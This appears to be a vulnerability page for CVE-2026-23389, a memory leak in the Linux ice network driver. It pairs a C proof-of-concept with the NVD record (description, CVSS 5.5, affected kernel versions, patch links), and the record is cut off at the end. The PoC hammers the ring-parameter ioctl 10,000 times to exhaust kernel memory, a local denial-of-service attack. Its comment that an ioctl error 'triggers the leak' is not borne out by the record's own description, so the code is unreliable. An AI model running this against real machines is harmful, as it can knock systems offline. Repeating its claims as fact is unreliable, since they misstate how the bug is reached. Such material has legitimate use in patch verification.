CVE-2026-23389

/* * PoC for CVE-2026-23389 (Memory Leak in ice_set_ringparam) * This code attempts to trigger the memory leak by repeatedly * setting ring parameters on an Intel ICE interface. * Compile: gcc -o poc_leak poc_leak.c */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if.h> #include <linux/sockios.h> #include <linux/ethtool.h> int main(int argc, char *argv[]) { struct ifreq ifr; struct ethtool_ringparam ringparam; int fd, err; if (argc < 2) { printf("Usage: %s <interface_name>\n", argv[0]); return 1; } fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) { perror("socket"); return 1; } memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, argv[1], IFNAMSIZ - 1); memset(&ringparam, 0, sizeof(ringparam)); ringparam.cmd = ETHTOOL_SRINGPARAM; // Set values to force driver to re-allocate rings ringparam.rx_pending = 4096; ringparam.tx_pending = 4096; ifr.ifr_data = (char *)&ringparam; printf("Triggering memory leak on %s...\n", argv[1]); // Loop to exhaust memory or observe leak in kernel logs/slub for (int i = 0; i < 10000; i++) { err = ioctl(fd, SIOCETHTOOL, &ifr); if (err < 0) { // Error path triggers the leak logic perror("ioctl"); } usleep(1000); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-23389", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:39.440", "lastModified": "2026-04-27T14:16:30.797", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nice: Fix memory leak in ice_set_ringparam()\n\nIn ice_set_ringparam, tx_rings and xdp_rings are allocated before\nrx_rings. If the allocation of rx_rings fails, the code jumps to\nthe done label leaking both tx_rings and xdp_rings. Furthermore, if\nthe setup of an individual Rx ring fails during the loop, the code jumps\nto the free_tx label which releases tx_rings but leaks xdp_rings.\n\nFix this by introducing a free_xdp label and updating the error paths to\nensure both xdp_rings and tx_rings are properly freed if rx_rings\nallocation or setup fails.\n\nCompile tested only. Issue found using a prototype static analysis tool\nand code review."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nice: Corrección de fuga de memoria en ice_set_ringparam()\n\nEn ice_set_ringparam, tx_rings y xdp_rings se asignan antes de rx_rings. Si la asignación de rx_rings falla, el código salta a la etiqueta done provocando una fuga tanto de tx_rings como de xdp_rings. Además, si la configuración de un anillo Rx individual falla durante el bucle, el código salta a la etiqueta free_tx, que libera tx_rings pero provoca una fuga de xdp_rings.\n\nEsto se corrige introduciendo una etiqueta free_xdp y actualizando las rutas de error para asegurar que tanto xdp_rings como tx_rings se liberen correctamente si la asignación o configuración de rx_rings falla.\n\nProbado solo en compilación. Problema encontrado utilizando una herramienta prototipo de análisis estático y revisión de código."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.17.1", "versionEndExcluding": "6.12.81", "matchCriteriaId": "AB00FA77-1A3D-4E2C-99B3-4BC4E748DDFF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:4.17:-:*:*:*:*:*:*", "matchCriteriaId": "3F438846-FE97-43DC-A655-B5EF8DED552E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/44ba32a892b72de3faa04b8cfb1f2f1418fdd580", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/63dc317dfcd3faffd082c2bf3080f9ad070273da", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b23282218eca27b710111460b4964c8a456c6c44", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e0c211a0c26159058303712d6b4fbd1c88835e6d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/fe868b4 ... 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